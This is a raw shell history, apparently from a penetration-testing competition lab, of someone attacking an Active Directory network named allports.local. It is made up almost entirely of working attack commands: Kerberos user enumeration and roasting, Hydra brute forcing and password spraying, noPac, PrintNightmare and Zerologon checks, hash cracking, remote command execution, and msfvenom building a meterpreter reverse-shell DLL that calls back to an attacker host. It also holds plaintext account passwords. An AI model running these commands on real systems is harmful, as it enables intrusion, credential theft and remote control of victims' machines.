_raw:
ping https://chat.allports.tours/
nslookup https://chat.allports.tours/
10.0.1.14
ping 10.0.1.14
nslookup http://bb-b143.rooms.allports.tours/
netcat
nc http://bb-b143.rooms.allports.tours/
nc http://bb-b143.rooms.allports.tours/ 22
nc http://bb-b143.rooms.allports.tours 22
nc http://bb-b143.rooms.allports.tours 80
nc http://bb-b143.rooms.allports.tours 4434
nc http://bb-b143.rooms.allports.tours 443
nc http://bb-b143.rooms.allports.tours 3306
nc http://bb-b143.rooms.allports.tours 8080
nc rooms.allports.tours 8080
nc rooms.allports.tours
nc -zv rooms.allports.tours 22 80 443 3306 8080
nslookup allports.tours
nc -zv 10.0.1.99 22 80 443 3306 8080
sqlmap --help
nc -zv 10.0.1.6 3389
ipconfig
ifconfig
nmap -sS 10.0.1.6
burpsuite
ssh 10.0.1.11
nikto -help
hashid 68dad00358ca252be7b4ae05
hashcat -help
hashcat --help
zenmap
nikto -h http://10.0.1.99
nikto -h http://10.0.1.20
nikto -h http://10.0.1.254
nikto -h http://10.0.1.14
nikto -h http://10.0.1.14 -display
nikto -h http://10.0.1.14 -v
nikto -h -v http://10.0.1.14
nmap -sS 10.0.1.0/24
ifconfig
traceroute 10.0.1.15
traceroute 1.1.1.1
clear
msfconsole
clear
ls
cat password.txt
clear
ssh 10.0.1.11:22
ssh 10.0.1.11
nikto -h http://10.0.1.14 -c all
nikto -h http://10.0.1.14 -C all
nikto -h http://10.0.1.11:22
nikto -h http://10.0.1.11:22 -C all
nikto -h http://10.0.1.11
clear
pin g 10.0.1.1
ping 10.0.1.1
cat 10.0.1.11:8081/uploads/68daca5102cd243417c8ed97/c73bc83f-7075-4218-85eb-3694739d9ab6__01_welcome_company_overview.md
ssh 10.0.1.11:8081
mysql -u root -p
burp
burpsuite
hashcat --help
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists/rockyou.txt
hashcat --help
hashcat -a 1 -m 110 /usr/share/wordlists/rockyou.txt 76b08b24596e12d4553bd41fc93cccd5bac2fe7a
hashcat -a 3 -m 110 /usr/share/wordlists/rockyou.txt 76b08b24596e12d4553bd41fc93cccd5bac2fe7a
hashcat -a 3 -m 110 76b08b24596e12d4553bd41fc93cccd5bac2fe7a /usr/share/wordlists/rockyou.txt
hashid 76b08b24596e12d4553bd41fc93cccd5bac2fe7a
hashcat -h
hashcat -a 3 -m 100 76b08b24596e12d4553bd41fc93cccd5bac2fe7a /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 100 76b08b24596e12d4553bd41fc93cccd5bac2fe7a /usr/share/wordlists/rockyou.txt --show
hashcat -a 3 -m 100 76b08b24596e12d4553bd41fc93cccd5bac2fe7a /usr/share/wordlists/rockyou.txt


_raw: : 1762642644:0;grep 'description' enum-out | grep -v '(null)'


_raw: : 1762642635:0;grep 'description' enum-out


_raw:
rdesktop
rdesktop -u aphillips 10.0.1.21
rdesktop -u lpeterson 10.0.1.21
rdesktop -u druiz 10.0.1.21
rdesktop -u aphillips 10.0.1.21
rdesktop -u druiz 10.0.1.6
rdesktop -u lpeterson 10.0.1.20
rdesktop -u lpeterson 10.0.1.21
rdesktop -u lpeterson 10.0.1.20
rdesktop -u rdavis 10.0.1.21
dirbuster
rdesktop -u lpeterson 10.0.1.21
curl -X POST 10.0.1.14:5001/wps/wcm/webinterface/login/login
curl -X POST 10.0.1.14:5001/wps/wcm/webinterface/login/login \\
  -d "username=lpeterson\
ls
curl -X GET [200~message"Data received and processed successfully"
received_data
args
message	"Data received and processed successfully"\
received_data	\
args	\
hotel_city	'"><script>alert(/openvasvt/)</script>'\
method	"GET"\
path	"city.php"
curl -X GET http://10.0.1.14:5001/city.php?hotel_city=%22%3E%3Cscript%3Ealert(/openvasvt/)%3C/script%3E
curl -X GET http://10.0.1.14:5001/city.php
curl -X GET http://10.0.1.14:5001/city.php?hotel_city


_raw: : 1762642588:0;enum4linux-ng 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' > enum-out


_raw: : 1762642561:0;hydra -L emails.txt -P defaultpassword.txt -I -w 3 rdp://10.0.1.6


_raw: : 1762642559:0;enum4linux-ng 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'


_raw:
: 1762642549:0;curl -L 'http://admin.rooms.allports.tours:8080' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  -H 'Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness'\ --insecure


_raw: : 1762642545:0;hydra -L emails.txt -P defaultpassword.txt -I -w 3 rdp://10.0.1.6


_raw: : 1762642543:0;hydra -L emails.txt -P defaultpassword.txt -I -w 3rdp://10.0.1.6


_raw: : 1762642542:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M privexchange


_raw: : 1762642530:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M printnightmare


_raw:
: 1762642523:0;curl -L 'http://admin.rooms.allports.tours:8080' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  -H 'Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness'\--insecure


_raw: : 1762642517:0;hydra -L emails.txt -P defaultpassword.txt -I rdp://10.0.1.6


_raw:
: 1762642511:0;curl 'http://admin.rooms.allports.tours:8080' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  -H 'Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness'\--insecure


_raw: : 1762642511:0;nxc smb 10.0.1.6 -u 'WIN-JPOZAGLRLHQ$' -p 'YF@kYdgUSYjc' --shares


_raw: : 1762642506:0;nxc smb 10.0.1.6 -u 'WIN-JPOZAGLRLHQ$' -p 'YF@kYdgUSYjc'


_raw:
: 1762642483:0;curl 'http://admin.rooms.allports.tours' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  -H 'Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness'\--insecure


_raw: : 1762642462:0;python scanner.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -use-ldap


_raw: : 1762642459:0;python scanner.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -


_raw: : 1762642458:0;hydra -L emails.txt -P defaultpassword.txt rdp://10.0.1.6


_raw:
: 1762642457:0;curl 'http://admin.rooms.allports.tours' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  -H 'Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness'\ --insecure


_raw: : 1762642445:0;hydra -l emails.txt -P defaultpassword.txt 10.0.1.6


_raw: : 1762642432:0;hydra -L emails.txt -P defaultpassword.txt 10.0.1.6


_raw: : 1762642420:0;python noPac.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -use-ldap


_raw:
: 1762642419:0;curl 'http://admin.rooms.allports.tours' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  --insecure


_raw: : 1762642413:0;python noPac.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6


_raw:
ls
cd apt
ls
ks
ls
cd scripts
cat logAgg.sh
cd ..
ls
mkdir scans
cd scans
ls
nmap -sn 10.0.1.0/24 -oN apt-hosts.txt
nmap -p 445 -iL apt-hosts.txt -oN smb-hosts.txt
ls
cat smb-hosts.txt
ls
rm smb-hosts.txt smb-scan.txt
ls
nano smb-scan.txt
nano smb-hosts.txt
ls
cat smb-hosts.txt
nxc smb smb-hosts.txt
ccd ..
cd ..
ls
mkdir lists; cd lists
nano osint-users.txt
cd ..; git clone https://github.com/urbanadventurer/username-anarchy.git
ls
cd username-anarchy
ls
./username-anarchy
./username-anarchy bailey finn
cd ../lists
ls
nano blist.txt
cd ..
git clone https://github.com/ropnop/kerbrute.git
echo $PATH
cd kerbrute
ls
cd ..
rm -rf kerbrute
cd ~/Downloads
ls
chmod +x kerbrute_darwin_amd64
mv kerbrute_darwin_amd64 /usr/bin/kerbrute
sudo mv kerbrute_darwin_amd64 /usr/bin/kerbrute
cd ..
ls
cd apt/lists
kerbrute userenum -d allallports.local blist.txt
mv /usr/bin/kerbrute ./
sudo mv /usr/bin/kerbrute ./
ls
./kerbrute
rm kerbrute
chmod +x ~/Downloads/kerbrute_linux_amd64
sudo mv ~/Downloads/kerbrute_linux_amd64 /usr/bin/kerbrute
kerbrute userenum -d allports.local blist.txt
kerbrute
kerbrute userenum -d allports.local blist.txt --dc 10.0.1.6
nano osint-users.txt
kerbrute userenum -d allports.local osint-users.txt --dc 10.0.1.6
ip -br a
rpcclient -U '' -N 10.0.1.6
clear
nslookup -type=srv_ldap.tcp.dc._msdsc.allports.local 10.0.1.6
ls
cat osint-users.txt
cd ..
python3 -m venv aptv
source aptv/bin/activate
pip install soapy-adws
python3 -m pip install soapy-adws
deactivate
ls
cd lists
ls
cat osint-users.txt
nano pass.txt
nxc smb 10.0.1.6 -u osint-users.txt -p osint-users.txt --no-bruteforce
nxc smb 10.0.1.6 -u osint-users.txt -p 'Fall2025!'
nxc smb 10.0.1.6 -u osint-users.txt -p 'SpringField2003!'
nxc smb 10.0.1.14
nmap -p 445 10.0.1.14
nmap -p 445 10.0.1.14 -sC -sV
man nmap
nmap -p 445 10.0.1.14 -sS
nmap -p 53 10.0.1.14
nmap -p 88 10.0.1.14
nmap -p386 10.0.1.14
nmap -p389 10.0.1.14
nxc ldap 10.0.1.14
ping 10.0.1.14
mv ~/Downloads/jsmith.txt
mv ~/Downloads/jsmith.txt ./
sudo nano /etc/hosts
ls
kerbrute userenum -d allports.local jsmith.txt --dc 10.0.1.6
nxc smb 10.0.1.6 -u 'jgarcia' -p 'Fall2025!'
kerbrute
kerbrute userenum -d allports.local jsmith.txt --dc 10.0.1.6 -o j-users.txt
ls
cat j-users.txt
cat j-users.txt | awk '{print $8}'
cat j-users.txt | awk '{print $7}'
cat j-users.txt | awk '{print $7}' > krbusers.txt
vim krbusers.txt
mv krbusers.txt
mv krbusers.txt dirty.txt
cat dirty.txt | awk -F '@' '{print $1}'
cat dirty.txt | awk -F '@' '{print $1}' > krbusers.txt
cat krbusers.txt
rm dirty.txt
enum4linux
smbclient
nmap 10.1.0.6 --exclude-ports 88
nmap 10.1.0.6 --exclude-ports 88 -Pn
nmap 10.0.1.6 --exclude-ports 88
impacket-GetNPUsers
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.tours/ -no-pass -usersfile j-users.txt -format hashcat -outputfile asreps.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 allports/ -no-pass -usersfile j-users.txt -format hashcat -outputfile asreps.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 allports/bfinn -no-pass
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.tours/bfinn -no-pass
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/bfinn -no-pass
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -no-pass -usersfile j-users.txt -format hashcat -outputfile asreps.txt
ls
cat krbusers.txt
nxc smb 10.0.1.6 -u 'zmorgan' -p 'password'
ls
nano wks.txt
nxc smb wks.txt -u 'administrator' -p '' --local-auth
nxc smb wks.txt -u 'admin' -p '' --local-auth
clea
clear
ls
smbclient -U ""%"" \\\\10.0.1.6\\
smbclient
smbclient -U ""%"" -L \\\\10.0.1.6\\
smbclient -U "" -N -L \\\\10.0.1.6\\
ip -br a
ls
nxc ldap 10.0.1.6 -u osint-users.txt -p '' -k
cd ..
ls
source aptv/bin/activate
git clone https://github.com/logangoins/SOAPy.git
cd SOAPy
ls
pipx install .
soapy
soapy allports.local/'':''@10.0.1.6 --users
ls
cd ../lists
deactivate
nxc smb 10.0.1.6 -u osint-users.txt -p 'IamTheCaptain'
impacket-lookupsid
kerbrute userenum -d allports.local osint-users.txt --dc 10.0.1.6
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -no-pass -usersfile osint-users.txt -format hashcat
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -no-pass -usersfile j-users.txt -format hashcat
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/alewis -no-pass -format hashcat
cat j-users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ocarter -no-pass -format hashcat
ls
kerbrute
kerbrute userenum --help
nano quick.txt
kerbrute userenum -d allports.local quick.txt --dc 10.0.1.6
ip -br a
ls
cat osint-users.txt
nxc smb 10.0.1.6 -u osint-users.txt -p ''
nxc smb 10.0.1.20 -u 'ecarter' -p 'Fall2025!'
nxc smb 10.0.1.20 -u 'ecarter' -p ''
nxc smb 10.0.1.20 -u 'Guest' -p ''
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.20 -u 'ecarter' -p 'Fall2025!' --local-auth
nxc smb 10.0.1.20 -u 'DECKHAND-01$' -p '' --local-auth
nxc smb 10.0.1.20 -u 'DECKHAND-01$' -p ''
clear
nc 10.0.1.10 6768
clear
ls
cat j-users.txt
ls
cat asreps.txt
rm asreps.txt
cat blist.txt
cat krbusers.txt
clear
nano u1.txt
nxc smb 10.0.1.6 -u u1.txt -p 'Springfield2003!'
nano u1.txt
nxc smb 10.0.1.6 -u u1.txt -p 'Springfield2025!'
nxc smb 10.0.1.6 -u u1.txt -p 'Fall2025!'
ls
cat wks.txt
nxc smb wks.txt
ls
scp krbusers.txt pentester@10.0.254.201:/home/pentester
cat j-users.txt
ip -br a
sudo responder -I eth0 -A
ip -br a
clear
curl http://10.0.1.14:5001/
ls
cat krbusers.txt
kerbrute passwordspray --help
clear
nxc smb 10.0.1.6 -u krbusers.txt -p 'IamTheCaptain' --jitter 0.5-1
nxc smb 10.0.1.6 -u krbusers.txt -p 'IamTheCaptain' --jitter 0-1
nxc smb 10.0.1.6 -u 'test' -p 'test'
clear
nxc smb 10.0.1.6 -u 'tyler.smith' -p 'hangover4-pavilion7'
nxc smb 10.0.1.6 -u 'tyler.smith' -p 'hangover4-pavilion7' -k
nxc ldap 10.0.1.6 -u 'tyler.smith' -p 'hangover4-pavilion7'
cat krbusers.txt
cat krbusers.txt | grep "bjohnson"
cat krbusers.txt | grep "fterry"
cd ..
git clone https://github.com/SecuraBV/Timeroast.git
ls
cd Timeroast
ls
./timeroast.py
./timeroast.py -h
sudo ./timeroast.py 10.0.1.6 -o /home/pentester/apt/times.txt
nxc smb 10.0.1.20
nxc smb 10.0.1.20 -u 'DECKHAND-01$' -p 'deckhand-01'
nxc smb 10.0.1.20 -u 'DECKHAND-01$' -p 'deckhand-01' --local-auth
nxc smb 10.0.1.6 -u 'bfinn' -p 'pass'
nxc smb 10.0.1.20 -u 'bfinn' -p 'pass'
nxc smb 10.0.1.20 -u 'bfinn' -p 'pass' --local-auth
sudo nano /etc/hosts
cd ..
clear
cd lists
ls
history
clear
nano krbusers.txt
nxc smb 10.0.1.6 -u krbusers.txt -p 'allportstours123' --jitter 0-1
clear
exit


_raw: : 1762642410:0;nxc wmi 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -x 'powershell -c rm C:\gYltio; dir C:\'


_raw: : 1762642406:0;python noPac.py allports.local/SVC_STABILIZE:1gyroscope


_raw: : 1762642391:0;nxc wmi 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -x 'rm C:\gYltio; dir C:\'


_raw: : 1762642387:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M nopac


_raw: : 1762642384:0;nxc wmi -u svc_stabilize -p 1gyroscope -k -x 'rm C:\gYltio; dir C:\'


_raw:
: 1762642383:0;DOMAIN="allports.local"\
# names.txt = one name per line (first last, possibly middle names)\
awk -v D="$DOMAIN" 'BEGIN{FS="[ \t]+"}\
  NF{\
    first=tolower(substr($1,1,1));\
    last=tolower($NF);\
    # remove non-alphanum from parts\
    gsub(/[^a-z0-9]/,"",first);\
    gsub(/[^a-z0-9]/,"",last);\
    if(first!="" && last!="") print first last "@" D\
  }\
' /usr/share/seclists/Usernames/Names/names.txt | sort -u > emails.txt


_raw: : 1762642359:0;pip install -r requirements.txt


_raw: : 1762642350:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'dir C:\' --exec-method smbexec --no-write-check


_raw: : 1762642342:0;gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762642338:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'dir C:\kGsQno' --exec-method smbexec --no-write-check


_raw: : 1762642336:0;git clone https://github.com/Ridter/noPac.git


_raw: : 1762642321:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'dir C:\' --exec-method smbexec


_raw: : 1762642319:0;gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762642314:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'rm C:\equndA' --exec-method smbexec


_raw: : 1762642314:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M nopac


_raw: : 1762642303:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'rm C:\IjHdni' --exec-method smbexec


_raw: : 1762642281:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'dir C:\' --exec-method smbexec


_raw: : 1762642274:0;gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762642268:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -X 'dir C:\'


_raw: : 1762642259:0;nxc smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1762642196:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762642165:0;gobuster dir -u http://10.0.1.99:8080 -w /wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762642165:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1762642155:0;sudo apt install gobuster


_raw: : 1762642154:0;nxc ldap 10.0.1.6 -u FV-C014 -p letmein --continue-on-success


_raw: : 1762642141:0;hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762642098:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50


_raw: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.202 LPORT=9000 -f dll -o printnight.dll


_raw: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.202 LPORT=9000 -f dll -o printnight


_raw: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.202 LPORT=9000 -f dll -o ~/Downloads/


_raw: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.202 LPORT=9000 -f dll -o .


_raw: impacket-rpcdump @10.0.1.6 | egrep 'MS-RPRN|MS-PAR'


_raw: cat 10.0.1.6rpcdump.txt | grep "Protocol: \["


_raw: cat 10.0.1.20rpcdump.txt | grep "Protocol: \["


_raw: cat 10.0.1.21rpcdump.txt | grep "Protocol: \["


_raw: cat 10.0.1.21rpcdump.txt | grep "Protocol:"


_raw: cat 10.0.1.20rpcdump.txt | grep "Protocol:"


_raw: nxc smb 10.0.1.21 -u 'bfinn' -p '' --local-auth


_raw: nxc smb 10.0.1.21 -u 'ecarter' -p '' --local-auth


_raw: nxc smb 10.0.1.21 -u 'dcarter' -p '' --local-auth


_raw: nxc smb 10.0.1.20 -u 'dcarter' -p '' --local-auth


_raw: nxc smb 10.0.1.20 -u 'ecarter' -p '' --local-auth


_raw: nxc smb 10.0.1.20 -u 'bfinn' -p '' --local-auth


_raw: nxc smb 10.0.1.6 -u 'bfinn' -p '' --local-auth


_raw: nxc smb 10.0.1.6 -u 'Administrator' -p '' --local-auth


_raw: nxc smb 10.0.1.20 -u 'Administrator' -p '' --local-auth


_raw: nxc smb 10.0.1.21 -u 'Administrator' -p '' --local-auth


_raw: rpcclient -U APT-DC-01\\administrator 10.0.1.6


_raw: rpcclient -U DECKHAND-01\\Guest 10.0.1.20


_raw: rpcclient -U DECKHAND-02\\Guest 10.0.1.21


_raw:
cd ..
clear
ls
cat /var/log/command_history.log
clear
cd ~
nmap -sn 10.0.1.0/24 -oN 10.0.1.0hosts.txt
vim strongHosts.txt
ls
ip a
nmap -Pn -p- 10.0.1.6 -oN 10.0.1.6portscan.txt
nxc smb 10.0.1.6 -u 'a' -p ''
nxc ldap 10.0.1.6
nxc ldap 10.0.1.6 -u ''
nxc ldap 10.0.1.6 -u '' -p''
nxc ldap 10.0.1.6 -u '' -p ''
nxc ldap 10.0.1.6 -u '' -p '' --users
ldapdomaindump ldaps://10.0.1.6 -u '' -p ''
ldapdomaindump ldaps://10.0.1.6 -u 'allports.local\' -p ''
ldapdomaindump ldaps://10.0.1.6 -u 'allports.local\'
ls
mkdir Scans
mv 10.0.1.0hosts.txt Scans
mv 10.0.1.6portscan.txt Scans
clear
ls
nxc smb 10.0.1.6 -u 'a' -p '' --local-auth
nxc smb 10.0.1.6 -u 'Guest' -p '' --local-auth
git clone https://github.com/franc-pentest/ldeep
ls
cd ldeep
ls
clear
nxc smb 10.0.1.20 -u 'a' -p ''
nxc smb 10.0.1.21 -u 'a' -p ''
nxc smb 10.0.1.21 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.20 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.20 -u '' -p '' --local-auth
nxc smb 10.0.1.6 -u 'Guest' -p '' --local-auth
nxc smb 10.0.1.6 -u 'Guest' -p ''
clera
clear
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
ls
cd ldeep
ls
cd utils
ls
cd ..
ls
cat README.rst
clear
cd ..
ls
rmdir ldeep
rmd -rf ldeep
rm -rf ldeep
ls
clear
git clone https://github.com/franc-pentest/ldeep.git
ls
cd ldeep
ls
chmod +x ldeep.sh
cd ..
rm -rf ldeep
clear
sudo apt install ldeep
clear
ldeep ldap -u '' -p '' -d 'allports.local' -s ldap://10.0.1.6 search '(sAMAccountName=<principal>)' distinguishedName
ldeep
clear
vim users.txt
ls
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -no-pass -usersfile users.txt -format hashcat -outputfile outputhashes.txt
cat users.txt
vim users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -no-pass -usersfile users.txt -format hashcat -outputfile outputhashes.txt
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u '' -p '' --user
nxc smb 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.20 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --local-auth --shares
nxc smb 10.0.1.20 -u '' -p '' --local-auth --shares
nxc smb 10.0.1.6 -u '' -p '' --groups
rpcclient -N -U "" -L \\10.0.1.6
rpcclient -N -U "" \\10.0.1.6
smbclient -N -U "" -L \\10.0.1.6
smbclient -N -U "" -L \\10.0.1.20
smbclient -N -U "" -L \\10.0.1.21
smbclient -N -U "" -L \\10.0.1.6
nxc smb 10.0.1.6 -u '' -p ''
clear
sudo apt install crackmapexec
crackmapexec smb 10.0.1.14
smbclient -N -U "" -L \\10.0.1.14
rpcclient -N -U "" \\10.0.1.14
crackmapexec smb 10.0.1.14 -u '' -p ''
smbclient -L \\\\10.0.1.14\\
rpcclient -N -U "" \\10.0.1.14
enum4linux
enum4linux -U 10.0.1.14 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
enum4linux -U 10.0.1.6 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
sudo nano /etc/hosts
clear
nmap -Pn --exclude-ports 5001 10.0.1.14 -oN 10.0.1.14portscan.txt
nmap -Pn -sC -sV --exclude-ports 5001 10.0.1.14 -oN 10.0.1.14portscan.txt
sudo nano /etc/hosts
nxc smb 10.0.1.6 -u 'a' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.20 -u 'bfinn' -p ''
smbmap 10.0.1.6
smbmap -H 10.0.1.6
smbmap -H 10.0.1.20
smbmap -H 10.0.1.21
enum4linux -a 10.0.1.6
xfreerdp3
xfreerdp3 /v:10.0.1.6
evil-winrm allports.local\@10.0.1.6
evil-winrm allports.local\''@10.0.1.6
evil-winrm allports.local/''@10.0.1.6
evil-winrm -i 10.0.1.6 -u '' -p ''
clear
nxc smb 10.0.1.6 -u 'bfinn' -p 'iloveboats!'
nxc smb 10.0.1.20 -u 'bfinn' -p 'iloveboats!'
nxc smb 10.0.1.20 -u 'bfinn' -p 'iloveboats!' --local-auth
nxc smb 10.0.1.21 -u 'bfinn' -p 'iloveboats!' --local-auth
nxc smb 10.0.1.21 -u 'bfinn' -p 'iloveboats!'
impacket-GetUserSPNs
impacket-GetUserSPNs allports.local/"":""@10.0.1.6 -request
impacket-GetUserSPNs allports.local/"":"" -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs allports.local/ -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs allports.local/ecarter:"" -dc-ip 10.0.1.6 -request
clear
impacket-psexec
impacket-psexec allports.local/"":""@10.0.1.6
impacket-psexec allports.local/" ":" "@10.0.1.6
clear
ls
mv 10.0.1.14portscan.txt Scans
ls
cat outputhashes.txt
rm outputhashes.txt
clear
ls
sqlmap
impacket-mssqlclient
mysql
mysql 10.0.1.99
mysql -h 10.0.1.99
mysql -S 10.0.1.99
mysql -h 10.0.1.99
impacket-mssqlclient
nxc smb 10.0.1.6 -u 'ccassette' -p ''
nxc smb 10.0.1.6 -u 'ccassette' -p '' --local-auth
nxc smb 10.0.1.6 -u 'ccassette' -p 'test'
clear
nxc ldap 10.0.1.6 -u 'ccassette' -p ''
clear
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.21 -u '' -p '' --local-auth
ldapsearch -x -H ldap://10.0.1.6 -b "dc=example,dc=com"
ldapsearch
ldapsearch -help
ldapsearch -x -H ldap://10.0.1.6 -b "dc=example,dc=com"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports.local"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=APT-DC-01,dc=allports.local"
rpcinfo -p 10.0.1.20
rpcinfo -p 10.0.1.21
rpcinfo -p 10.0.1.6
rpcclient -N -U "" \\10.0.1.21
rpcclient -N -U "" \\10.0.1.20
rpcclient -N -U "" \\10.0.1.6
clear
ls
rpcclient -U "DECKHAND-01" \\10.0.1.20
rpcclient -U "DECKHAND-02" \\10.0.1.21
impacket-rpcdump
